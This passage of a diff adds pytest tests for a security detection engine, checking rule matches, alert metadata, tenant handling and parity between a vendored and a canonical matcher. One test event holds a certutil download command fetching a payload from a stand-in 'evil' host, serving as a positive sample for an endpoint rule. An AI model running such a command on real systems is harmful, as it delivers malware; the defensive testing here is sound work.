+ {"image_basename": "certutil.exe", "command_line": "certutil.exe -urlcache -f http://evil/p.exe"},
+ product="edr",
+ )
+ hits = eng.evaluate(msg)
+ assert any(h.rule_id == "det-endpoint-001" for h in hits)
+
+
+def test_build_alert_carries_rule_metadata():
+ eng = _engine()
+ msg = _msg({"event_name": "ConsoleLogin", "user_type": "Root", "error_code": None}, product="aws")
+ hit = next(h for h in eng.evaluate(msg) if h.rule_id == "det-cloud-001")
+ alert = eng.build_alert(msg, hit)
+ assert alert is not None
+ assert alert.severity == AlertSeverity.CRITICAL
+ assert alert.title == "AWS Root Account Console Login"
+ assert alert.source == "detection:det-cloud-001"
+ assert "T1078.004" in alert.mitre_techniques
+ assert alert.hostname == "HOST-1"
+
+
+def test_no_ocsf_or_bad_tenant_is_safe():
+ eng = _engine()
+ assert eng.evaluate({"tenant_id": TENANT}) == []
+ msg = _msg({"event_name": "ConsoleLogin", "user_type": "Root", "error_code": None})
+ msg["tenant_id"] = "not-a-uuid"
+ msg["ocsf_event"].pop("tenant_uid", None)
+ hit = eng.evaluate(msg)[0]
+ assert eng.build_alert(msg, hit) is None # bad tenant -> no alert
+
+
+def test_falls_back_to_ocsf_when_no_raw_data():
+ eng = _engine()
+ msg = {
+ "tenant_id": TENANT,
+ "ocsf_event": {"event_name": "ConsoleLogin", "user_type": "Root", "error_code": None, "metadata": {"product": {"name": "aws"}}},
+ }
+ hits = eng.evaluate(msg)
+ assert any(h.rule_id == "det-cloud-001" for h in hits)
+
+
+def test_real_ruleset_loads_and_is_nonempty():
+ eng = DetectionEngine()
+ assert eng.rule_count > 500 # the exported corpus (~817)
diff --git a/services/fusion/tests/test_detection_matcher_parity.py b/services/fusion/tests/test_detection_matcher_parity.py
new file mode 100644
index 000000000..79e836638
--- /dev/null
+++ b/services/fusion/tests/test_detection_matcher_parity.py
@@ -0,0 +1,79 @@
+"""Phase A2 — vendored matcher parity gate.
+
+`app/services/detection_matcher.py` is a vendored copy of the canonical matcher
+in `scripts/generate_detections.py` (services can't import repo-root scripts at
+runtime). This test imports BOTH and asserts identical verdicts over every
+committed detection fixture + the exported ruleset's positive/negative specs,
+so the copy can never silently diverge from the source of truth.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import json
+from pathlib import Path
+
+import pytest
+from app.services.detection_matcher import matches as vendored_matches
+
+_REPO = Path(__file__).resolve().parents[3]
+
+
+def _load_canonical():
+ path = _REPO / "scripts" / "generate_detections.py"
+ if not path.exists():
+ pytest.skip("repo-root scripts/generate_detections.py not present")
+ spec = importlib.util.spec_from_file_location("aisoc_gen_detections_canonical", path)
+ assert spec and spec.loader
+ mod = importlib.util.module_from_spec(spec)
+ spec.loader.exec_module(mod)
+ return mod
+
+
+def _fixture_pairs() -> list[tuple[dict, dict]]:
+ """Return (match_when, event) pairs from the exported ruleset is not
+ possible (no fixtures there); instead read the committed fixtures dir."""
+ fixtures_dir = _REPO / "detections" / "fixtures"
+ ruleset = _REPO / "services" / "fusion" / "app" / "data" / "detection_ruleset.json"
+ rules = {r["slug"]: r["match_when"] for r in json.loads(ruleset.read_text())["rules"]}
+ pairs: list[tuple[dict, dict]] = []
+ for kind in ("positive", "negative"):
+ d = fixtures_dir / kind
+ if not d.exists():
+ continue
+ for f in sorted(d.glob("*.json")):
+ mw = rules.get(f.stem)
+ if mw is None:
+ continue
+ try:
+ event = json.loads(f.read_text())
+ except ValueError:
+ continue
+ pairs.append((mw, event))
+ return pairs
+
+
+def test_vendored_matcher_matches_canonical_over_all_fixtures():
+ canonical = _load_canonical()
+ pairs = _fixture_pairs()
+ assert pairs, "no fixture/rule pairs found to compare"
+ disagreements = []
+ for mw, event in pairs:
+ if vendored_matches(mw, event) != canonical.matches(mw, event):
+ disagreements.append((mw, event))
+ assert not disagreements, f"vendored matcher diverged from canonical on {len(disagreements)} pairs"
+
+
+def test_positive_fixtures_fire_and_negatives_do_not():
+ """Sanity: the vendored matcher upholds the fixture contract directly."""
+ fixtures_dir = _REPO / "detections" / "fixtures"
+ ruleset = _REPO / "services" / "fusion" / "app" / "data" / "detection_ruleset.json"
+ rules = {r["slug"]: r["match_when"] for r in json.loads(ruleset.read_text())["rules"]}
+ checked = 0
+ for f in sorted((fixtures_dir / "positive").glob("*.json")):
+ mw = rules.get(f.stem)
+ if mw is None:
+ continue
+ assert vendored_matches(mw, json.loads(f.read_text())), f"positive fixture did not fire: {f.stem}"
+ checked += 1
+ assert checked > 100, f"expected to check many positive fixtures, only {checked}"